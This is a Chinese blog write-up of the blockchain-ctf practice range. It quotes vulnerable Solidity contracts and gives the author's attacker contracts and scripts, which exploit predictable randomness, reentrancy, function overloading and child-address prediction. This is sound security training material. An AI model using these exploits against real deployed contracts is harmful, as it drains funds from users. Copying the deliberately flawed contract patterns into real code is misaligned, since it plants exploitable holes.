blockchain-ctf靶场(0-12)

2021-01-12  本文已影响0人  Watanuki

1. blockchain-ctf靶场

平台地址:https://blockchain-ctf.securityinnovation.com/
大佬blog:https://hitcxy.com/2020/securityinnovation/

写在前面:

惯例感谢pikachu大佬。
RW不会做,靶场还不会吗?blockchain-ctf这个靶场确实向大佬说的更贴近生产,有很多和做题无关的代码,增加了一点点审计工作量。但做的时候还是简单的,如果你觉得很难,那一定是想多了。
要提醒的就是这个靶场坑测试币啊,5ether根本不够因为有道题会生生吃掉你4ether,做到那里你就知道了……

5.7.1. Hello Challenge

image.png

1.1. 签到:Donation

1.1.1. source

pragma solidity 0.4.24;

import "../CtfFramework.sol";
import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";

contract Donation is CtfFramework{

    using SafeMath for uint256;

    uint256 public funds;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        funds = funds.add(msg.value);
    }
    
    function() external payable ctf{
        funds = funds.add(msg.value);
    }

    function withdrawDonationsFromTheSuckersWhoFellForIt() external ctf{
        msg.sender.transfer(funds);
        funds = 0;
    }

}

1.1.2. solve

image.png

1.2. private:Lock Box

1.2.1. souce

pragma solidity 0.4.24;

import "../CtfFramework.sol";

contract Lockbox1 is CtfFramework{

    uint256 private pin;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        pin = now%10000;
    }
    
    function unlock(uint256 _pin) external ctf{
        require(pin == _pin, "Incorrect PIN");
        msg.sender.transfer(address(this).balance);
    }

}

1.2.2. solve

1.3. msg.sender:Piggy Bank

This contract belongs to Charlie with the address 0xbc4bfb890caa811839be474c7bf76fcda1530649
Charlie is the only person capable of withdrawing from this contract
Your wallet is 0xdbc1ce93e1237baf2585ca87909b30a87a2e77b6, so you are not Charlie and you can not withdraw

1.3.1. source

pragma solidity 0.4.24;

import "../CtfFramework.sol";
import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";

contract PiggyBank is CtfFramework{

    using SafeMath for uint256;

    uint256 public piggyBalance;
    string public name;
    address public owner;
    
    constructor(address _ctfLauncher, address _player, string _name) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        name=_name;
        owner=msg.sender;
        piggyBalance=piggyBalance.add(msg.value);
    }
    
    function() external payable ctf{
        piggyBalance=piggyBalance.add(msg.value);
    }

    
    modifier onlyOwner(){
        require(msg.sender == owner, "Unauthorized: Not Owner");
        _;
    }

    function withdraw(uint256 amount) internal{
        piggyBalance = piggyBalance.sub(amount);
        msg.sender.transfer(amount);
    }

    function collectFunds(uint256 amount) public onlyOwner ctf{
        require(amount<=piggyBalance, "Insufficient Funds in Contract");
        withdraw(amount);
    }
    
}


contract CharliesPiggyBank is PiggyBank{
    
    uint256 public withdrawlCount;
    
    constructor(address _ctfLauncher, address _player) public payable
        PiggyBank(_ctfLauncher, _player, "Charlie") 
    {
        withdrawlCount = 0;
    }
    
    function collectFunds(uint256 amount) public ctf{
        require(amount<=piggyBalance, "Insufficient Funds in Contract");
        withdrawlCount = withdrawlCount.add(1);
        withdraw(amount);
    }
    
}

1.3.2. solve

1.4. 整数溢出:SI Token Sale

We are releasing 1000 SI Tokens (SIT) at the low low cost of 1 SIT == 1 ETH (minus a small developer fee).

We have yet to figure out what these tokens will be used for, but we are leaning towards something IOT / Machine Learning / Big Data / Cloud.

Secure your SIT today before they're gone!

1.4.1. source

pragma solidity 0.4.24;

import "../CtfFramework.sol";

// https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v1.8.0/contracts/token/ERC20/StandardToken.sol
import "../StandardToken.sol";

contract SIToken is StandardToken {

    using SafeMath for uint256;

    string public name = "SIToken";
    string public symbol = "SIT";
    uint public decimals = 18;
    uint public INITIAL_SUPPLY = 1000 * (10 ** decimals);

    constructor() public{
        totalSupply_ = INITIAL_SUPPLY;
        balances[this] = INITIAL_SUPPLY;
    }
}

contract SITokenSale is SIToken, CtfFramework {

    uint256 public feeAmount;
    uint256 public etherCollection;
    address public developer;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        feeAmount = 10 szabo; 
        developer = msg.sender;
        purchaseTokens(msg.value);
    }

    function purchaseTokens(uint256 _value) internal{
        require(_value > 0, "Cannot Purchase Zero Tokens");
        require(_value < balances[this], "Not Enough Tokens Available");
        balances[msg.sender] += _value - feeAmount;
        balances[this] -= _value;
        balances[developer] += feeAmount; 
        etherCollection += msg.value;
    }

    function () payable external ctf{
        purchaseTokens(msg.value);
    }

    // Allow users to refund their tokens for half price ;-)
    function refundTokens(uint256 _value) external ctf{
        require(_value>0, "Cannot Refund Zero Tokens");
        transfer(this, _value);
        etherCollection -= _value/2;
        msg.sender.transfer(_value/2);
    }

    function withdrawEther() external ctf{
        require(msg.sender == developer, "Unauthorized: Not Developer");
        require(balances[this] == 0, "Only Allowed Once Sale is Complete");
        msg.sender.transfer(etherCollection);
    }

}

1.4.2. solve

1.5. 函数重写(×)函数重载(√):Secure Bank

Good Afternoon!
Welcome to your Super Secure Digital Bank Account.
You may have heard elsewhere that with blockchain, banks are a thing of the past, what with fully owning your private keys and all...

But that is nonesense! You still need a bank! Who else will send you 30 new credit card offers in the mail each day??

At Super Secure Bank, we bring you the best of both worlds! We let you control the keys to your funds (stored in our smart contract) while still requiring you to register and receive our spam!

1.5.1. source

pragma solidity 0.4.24;

import "../CtfFramework.sol";

contract SimpleBank is CtfFramework{

    mapping(address => uint256) public balances;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        balances[msg.sender] = msg.value;
    }

    function deposit(address _user) public payable ctf{
        balances[_user] += msg.value;
    }

    function withdraw(address _user, uint256 _value) public ctf{
        require(_value<=balances[_user], "Insufficient Balance");
        balances[_user] -= _value;
        msg.sender.transfer(_value);
    }

    function () public payable ctf{
        deposit(msg.sender);
    }

}

contract MembersBank is SimpleBank{

    mapping(address => string) public members;

    constructor(address _ctfLauncher, address _player) public payable
        SimpleBank(_ctfLauncher, _player)
    {
    }

    function register(address _user, string _username) public ctf{
        members[_user] = _username;
    }

    modifier isMember(address _user){
        bytes memory username = bytes(members[_user]);
        require(username.length != 0, "Member Must First Register");
        _;
    }

    function deposit(address _user) public payable isMember(_user) ctf{
        super.deposit(_user);
    }

    function withdraw(address _user, uint256 _value) public isMember(_user) ctf{
        super.withdraw(_user, _value);
    }

}

contract SecureBank is MembersBank{

    constructor(address _ctfLauncher, address _player) public payable
        MembersBank(_ctfLauncher, _player)
    {
    }

    function deposit(address _user) public payable ctf{
        require(msg.sender == _user, "Unauthorized User");
        require(msg.value < 100 ether, "Exceeding Account Limits");
        require(msg.value >= 1 ether, "Does Not Satisfy Minimum Requirement");
        super.deposit(_user);
    }

    function withdraw(address _user, uint8 _value) public ctf{
        require(msg.sender == _user, "Unauthorized User");
        require(_value < 100, "Exceeding Account Limits");
        require(_value >= 1, "Does Not Satisfy Minimum Requirement");
        super.withdraw(_user, _value * 1 ether);
    }

    function register(address _user, string _username) public ctf{
        require(bytes(_username).length!=0, "Username Not Enough Characters");
        require(bytes(_username).length<=20, "Username Too Many Characters");
        super.register(_user, _username);
    }
}

1.5.2. solve

直接部署源代码也能看出来有两个withdraw,存在重载的问题。出题人假装重写了,但其实还在。

1.6. 伪随机: Lottery

彩票,需要猜中seed

Today is your lucky day!
Pick your numbers now and win the grand prize!

The current pot is already up to 0.5 ETH!
Only costs 0.001 ETH to play!

1.6.1. source

pragma solidity 0.4.24;

import "../CtfFramework.sol";
import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";

contract Lottery is CtfFramework{

    using SafeMath for uint256;

    uint256 public totalPot;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        totalPot = totalPot.add(msg.value);
    }
    
    function() external payable ctf{
        totalPot = totalPot.add(msg.value);
    }

    function play(uint256 _seed) external payable ctf{
        require(msg.value >= 1 finney, "Insufficient Transaction Value");
        totalPot = totalPot.add(msg.value);
        bytes32 entropy = blockhash(block.number);
        bytes32 entropy2 = keccak256(abi.encodePacked(msg.sender));
        bytes32 target = keccak256(abi.encodePacked(entropy^entropy2));
        bytes32 guess = keccak256(abi.encodePacked(_seed));
        if(guess==target){
            //winner
            uint256 payout = totalPot;
            totalPot = 0;
            msg.sender.transfer(payout);
        }
    }    
}

1.6.2. solve

contract Attacker{
    function attack() public payable {
        Lottery  _target = Lottery(0x7fe96f8b3447c17448b2cd59dd6b22d804203847);
        bytes32 entropy = blockhash(block.number);
        bytes32 entropy2 = keccak256(abi.encodePacked(this));
        uint seed = uint(entropy^entropy2);
        _target.play.value(msg.value)(seed);
    }
    
    function () payable{}
    
    function kill() public payable {
       selfdestruct(address(0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6));//自己的地址 
    }//为了把钱要回来真是煞费苦心
}

1.7. 循环:Heads or Tails

Flip a Coin!
Choose heads or tails.

It costs 0.1 ETH to play.
If you win, you get your initial bet back plus 0.05 ETH!
If you pick wrong, we keep your fee.

Sounds like good odds to me! Wanna play?

1.7.1. source

pragma solidity 0.4.24;

import "./CtfFramework.sol";
import "../github/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol";

contract HeadsOrTails is CtfFramework{

    using SafeMath for uint256;

    uint256 public gameFunds;
    uint256 public cost;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        gameFunds = gameFunds.add(msg.value);
        cost = gameFunds.div(10);
    }
    
    function play(bool _heads) external payable ctf{
        require(msg.value == cost, "Incorrect Transaction Value");
        require(gameFunds >= cost.div(2), "Insufficient Funds in Game Contract");
        bytes32 entropy = blockhash(block.number-1);
        bytes1 coinFlip = entropy[0] & 1;
        if ((coinFlip == 1 && _heads) || (coinFlip == 0 && !_heads)) {
            //win,返还1.5倍,即多得0.05
            gameFunds = gameFunds.sub(msg.value.div(2)); 
            msg.sender.transfer(msg.value.mul(3).div(2));
        }
        else {
            //loser
            gameFunds = gameFunds.add(msg.value);
        }
    }

}

1.7.2. solve

contract Attacker{
    function attack() public payable{
        HeadsOrTails target = HeadsOrTails(0xa0556a5252439ddd0b10f6354f0798077b2e00c7);
        bytes32 entropy = blockhash(block.number-1);
        bytes1 coinFlip = entropy[0] & 1;
        for(uint i;i<20;i++){
            target.play.value(0.1 ether)(coinFlip==1);
        }
    }
    
    function () payable{}
    
    function kill() public payable {
        selfdestruct(address(0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6));//自己的地址 
    }
}

1.8. 代码逻辑:Record Label

均分eth给所有stake holders

You've made it, kid!
You're officially a rockstar! Now that your killer remix has gone viral, you'll be swimming in dough in no time!
Now for some of the fine print
As your manager, it is my responsibility that all the royalty holders get paid their fare share for each of your sales.

I've set up this smart contract to store all your sales revenue. When you want to withdraw, just enter how much ETH you need and the contract will automatically payout an appropriate percentage to all the stake holders.

Isn't the future nuts???

1.8.1. source

pragma solidity 0.4.24;

//import "../CtfFramework.sol";
//import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
import "./CtfFramework.sol";
import "../github/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol";

contract Royalties{

    using SafeMath for uint256;

    address private collectionsContract;
    address private artist;

    address[] private receiver;
    mapping(address => uint256) private receiverToPercentOfProfit;
    uint256 private percentRemaining;

    uint256 public amountPaid;

    constructor(address _manager, address _artist) public
    {
        collectionsContract = msg.sender;
        artist=_artist;

        receiver.push(_manager);
        receiverToPercentOfProfit[_manager] = 80;
        percentRemaining = 100 - receiverToPercentOfProfit[_manager];
    }

    modifier isCollectionsContract() { 
        require(msg.sender == collectionsContract, "Unauthorized: Not Collections Contract");
        _;
    }

    modifier isArtist(){
        require(msg.sender == artist, "Unauthorized: Not Artist");
        _;
    }

    function addRoyaltyReceiver(address _receiver, uint256 _percent) external isArtist{
        require(_percent<percentRemaining, "Precent Requested Must Be Less Than Percent Remaining");
        receiver.push(_receiver);
        receiverToPercentOfProfit[_receiver] = _percent;
        percentRemaining = percentRemaining.sub(_percent);
    }

    function payoutRoyalties() public payable isCollectionsContract{ //trace1.2
        for (uint256 i = 0; i< receiver.length; i++){
            address current = receiver[i];
            uint256 payout = msg.value.mul(receiverToPercentOfProfit[current]).div(100);
            amountPaid = amountPaid.add(payout);//trace2.2
            current.transfer(payout); //trace1.3
        }
        msg.sender.call.value(msg.value-amountPaid)(bytes4(keccak256("collectRemainingFunds()")));//trace1.4
    }

    function getLastPayoutAmountAndReset() external isCollectionsContract returns(uint256){
        uint256 ret = amountPaid; //trace2.1
        amountPaid = 0;
        return ret; 
    }

    function () public payable isCollectionsContract{ //trace1.1
        payoutRoyalties();//trace1.2
    }
}

contract Manager{
    address public owner;

    constructor(address _owner) public {
        owner = _owner;
    }

    function withdraw(uint256 _balance) public {
        owner.transfer(_balance);
    }

    function () public payable{
        // empty
    }
}

contract RecordLabel is CtfFramework{

    using SafeMath for uint256;

    uint256 public funds;
    address public royalties;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        royalties = new Royalties(new Manager(_ctfLauncher), _player);
        funds = funds.add(msg.value);
    }
    
    function() external payable ctf{
        funds = funds.add(msg.value);
    }


    function withdrawFundsAndPayRoyalties(uint256 _withdrawAmount) external ctf{
        require(_withdrawAmount<=funds, "Insufficient Funds in Contract");
        funds = funds.sub(_withdrawAmount);
        royalties.call.value(_withdrawAmount)();//trace1.0,分析顺序见trace1系列
        uint256 royaltiesPaid = Royalties(royalties).getLastPayoutAmountAndReset();//trace2.0
        uint256 artistPayout = _withdrawAmount.sub(royaltiesPaid); 
        msg.sender.transfer(artistPayout);
    }

    function collectRemainingFunds() external payable{
        require(msg.sender == royalties, "Unauthorized: Not Royalties Contract");
    }

}

1.8.2. solve

1.9. 重入:trustfund

only allowing you to withdraw 0.1 ETH a year for the next 10 years.
(我已经想起ERC20了。。。好吧不是)

1.9.1. source

pragma solidity 0.4.24;

import "./CtfFramework.sol";
import "../github/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol";

contract TrustFund is CtfFramework{

    using SafeMath for uint256;

    uint256 public allowancePerYear;
    uint256 public startDate;
    uint256 public numberOfWithdrawls;
    bool public withdrewThisYear;
    address public custodian;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        custodian = msg.sender;
        allowancePerYear = msg.value.div(10);        
        startDate = now;
    }

    function checkIfYearHasPassed() internal{
        if (now>=startDate + numberOfWithdrawls * 365 days){
            withdrewThisYear = false;
        } 
    }

    function withdraw() external ctf{
        require(allowancePerYear > 0, "No Allowances Allowed");
        checkIfYearHasPassed();
        require(!withdrewThisYear, "Already Withdrew This Year");
        if (msg.sender.call.value(allowancePerYear)()){
            withdrewThisYear = true;
            numberOfWithdrawls = numberOfWithdrawls.add(1);
        }
    }
    
    function returnFunds() external payable ctf{
        require(msg.value == allowancePerYear, "Incorrect Transaction Value");
        require(withdrewThisYear==true, "Cannot Return Funds Before Withdraw");
        withdrewThisYear = false;
        numberOfWithdrawls=numberOfWithdrawls.sub(1);
    }
}

1.9.2. solve

contract Attacker{
    TrustFund target = TrustFund(0xc335f803e10c8d76e34f007076dfc221e6ef392a);
    uint flag;
    
    function attack() public payable{
        target.withdraw();
    }
    
    function () payable{
        if(flag<9){
        target.withdraw();
        flag++;
        }
    }
    
    function kill() public payable {
        selfdestruct(address(0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6));//自己的地址 
    }
}

1.10. selfdestruct:slotMachine

老虎机。。。Click today and deposit your 0.000001 ETH

1.10.1. source

pragma solidity 0.4.24;

import "./CtfFramework.sol";
import "../github/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol";

contract SlotMachine is CtfFramework{

    using SafeMath for uint256;

    uint256 public winner;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        winner = 5 ether;
    }
    
    function() external payable ctf{
        require(msg.value == 1 szabo, "Incorrect Transaction Value");
        if (address(this).balance >= winner){
            msg.sender.transfer(address(this).balance);
        }
    }

}

1.10.2. solve

1.11. 子合约地址:Rainy Day

The community decided to get together and organize a rainy day fund.
We've selected some very trustworthy people to manage the funds. Don't worry about it.
I assure you, the next time it rains, we'll have the funds for it!

1.11.1. source

pragma solidity 0.4.24;

import "./CtfFramework.sol";

contract DebugAuthorizer{
    
    bool public debugMode;

    constructor() public payable{
        if(address(this).balance == 1.337 ether){
            debugMode=true;
        }
    }
}

contract RainyDayFund is CtfFramework{

    address public developer;
    mapping(address=>bool) public fundManagerEnabled;
    DebugAuthorizer public debugAuthorizer;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        //debugAuthorizer = (new DebugAuthorizer).value(1.337 ether)(); // Debug mode only used during development
        debugAuthorizer = new DebugAuthorizer();
        developer = msg.sender;
        fundManagerEnabled[msg.sender] = true;
    }
    
    modifier isManager() {
        require(fundManagerEnabled[msg.sender] || debugAuthorizer.debugMode() || msg.sender == developer, "Unauthorized: Not a Fund Manager");
         _;
    }

    function () external payable ctf{
        // Anyone can add to the fund    
    }
    
    function addFundManager(address _newManager) external isManager ctf{
        fundManagerEnabled[_newManager] = true;
    }

    function removeFundManager(address _previousManager) external isManager ctf{
        fundManagerEnabled[_previousManager] = false;
    }

    function withdraw() external isManager ctf{
        msg.sender.transfer(address(this).balance);
    }
}

1.11.2. solve

from ethereum import utils

def getSon(Father,nonce):
    sha3_res = utils.mk_contract_address(Father,nonce)
    sha3_res_de = utils.decode_addr(sha3_res)
    #print('[+]%s,contract_address: %s'%(nonce,sha3_res_de))
    return(sha3_res_de)
    
def FindNonce(Father,Son):
    MaxNonce = 100000
    for nonce in range(MaxNonce):
        res = getSon(Father,nonce)
        if int(res,16)==Son:
            print('[+]the correct nonce is :%s'%(nonce))
            return(int(nonce))
        
developer= 0xeD0D5160c642492b3B482e006F67679F5b6223A2
rainfund = 0x9260f766C0B6b568Ca1689fd658790e956D4B420
debugAuthorizer = 0x107B773c0eFd9668ba0c915B0405949476B1C933
nonce = FindNonce(developer,rainfund)
newR = getSon(developer,nonce+1)
newD =  getSon(newR,1)
print(nonce,newR,newD)

1.12. Raffle

The ticket costs a random amount, somewhere between 0.1 and 0.5 ether.
When the time is right, our administrators will close the contest and finalize the winners.

1.12.1. source

pragma solidity 0.4.24;

import "../CtfFramework.sol";

contract Raffle is CtfFramework{

    uint256 constant fee = 0.1 ether;

    address private admin;

    bytes4 private winningTicket;
    uint256 private blocknum;

    uint256 public ticketsBought;
    bool public raffleStopped;

    mapping(address=>uint256) private rewards;
    mapping(address=>bool) private potentialWinner;
    mapping(address=>bytes4) private ticketNumbers;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        rewards[address(this)] = msg.value;
        admin = msg.sender;
    }

    function buyTicket() external payable ctf{
        if(msg.value >= fee){
            winningTicket = bytes4(0);
            blocknum = block.number+1;
            ticketsBought += 1;
            raffleStopped = false;
            rewards[msg.sender] += msg.value;
            ticketNumbers[msg.sender] = bytes4((msg.value - fee)/10**8);
            potentialWinner[msg.sender] = true;
        }
    }

    function closeRaffle() external ctf{
        require(ticketsBought>0);
        require(!raffleStopped);
        require(blocknum != 0);
        require(winningTicket == bytes4(0));
        require(block.number>blocknum);
        require(msg.sender==admin || rewards[msg.sender]>0);
        winningTicket = bytes4(blockhash(blocknum));
        potentialWinner[msg.sender] = false;
        raffleStopped = true;
    }

    function collectReward() external payable ctf{
        require(raffleStopped);
        require(potentialWinner[msg.sender]);
        rewards[address(this)] += msg.value;
        if(winningTicket == ticketNumbers[msg.sender]){
            msg.sender.transfer(rewards[msg.sender]);
            msg.sender.transfer(rewards[address(this)]); 
            rewards[msg.sender] = 0;
            rewards[address(this)] = 0;
        }
    }

    function skimALittleOffTheTop(uint256 _value) external ctf{
        require(msg.sender==admin);
        require(rewards[address(this)]>_value);
        rewards[address(this)] = rewards[address(this)] - _value;
        msg.sender.transfer(_value);
    }

    function () public payable ctf{
        if(msg.value>=fee){
            this.buyTicket();
        }
        else if(msg.value == 0){
            this.closeRaffle();
        }
        else{
            this.collectReward();
        }
    }

}

1.12.2. solve

1.13. Scratchcard

If you think you need more than 1 ETH to solve this, you're probably going down the wrong path.

1.13.1. source

pragma solidity 0.4.2
4;

import "./CtfFramework.sol";

library Address {
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }
}

contract Scratchcard is CtfFramework{

    event CardPurchased(address indexed player, uint256 cost, bool winner);

    mapping(address=>uint256) private winCount;
    uint256 private cost;


    using Address for address;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
    }

    modifier notContract(){
        require(!msg.sender.isContract(), "Contracts Not Allowed");
        _;
    }
    
    function play() public payable notContract ctf{
        bool won = false;
        if((now%10**8)*10**10 == msg.value){
            won = true;
            winCount[msg.sender] += 1;
            cost = msg.value;
            msg.sender.transfer(cost);
        }
        else{
            cost = 0;
            winCount[msg.sender] = 0;
        }
        emit CardPurchased(msg.sender, msg.value, won);
    }    

    function checkIfMegaJackpotWinner() public view returns(bool){
        return(winCount[msg.sender]>=25);
    }

    function collectMegaJackpot(uint256 _amount) public notContract ctf{
        require(checkIfMegaJackpotWinner(), "User Not Winner");
        require(2 * cost - _amount > 0, "Winners May Only Withdraw Up To 2x Their Scratchcard Cost");
        winCount[msg.sender] = 0;
        msg.sender.transfer(_amount);
    }

    function () public payable ctf{
        play();
    }

}

1.13.2. ?solve

攻击合约代码

contract Attacker{

    constructor() public payable {
        Scratchcard target = Scratchcard(0xb53df9b5d0314fcf511bee5e3893649a83d7c5a9);
        for(uint i=0;i<25;i++)
            target.play.value((now%10**8)*10**10)();
        target.collectMegaJackpot(3.5 ether);
    }
    
    function () public payable{}
    
    function kill() public payable {
       selfdestruct(address(0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6));//自己的地址 
    }
}

计算子合约地址的代码再贴一贴

rom ethereum import utils

def getSon(Father,nonce):
    sha3_res = utils.mk_contract_address(Father,nonce)
    sha3_res_de = utils.decode_addr(sha3_res)
    #print('[+]%s,contract_address: %s'%(nonce,sha3_res_de))
    return(sha3_res_de)
    
def FindNonce(Father,Son):
    MaxNonce = 100000
    for nonce in range(MaxNonce):
        res = getSon(Father,nonce)
        if int(res,16)==Son:
            print('[+]the correct nonceis :%s'%(nonce))
            return(int(nonce))
        
developer= 0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6
rainfund = 0xb3dedbe46f78032b9d7032ab5d7cf6c84e818c05
nonce = FindNonce(developer,rainfund)
print(nonce,getSon(developer,nonce),'start to predict',getSon(developer,nonce+1),getSon(developer,nonce+2))

攻击成功比攻击不成功带给我的打击更大……

image.png
上一篇 下一篇

猜你喜欢

热点阅读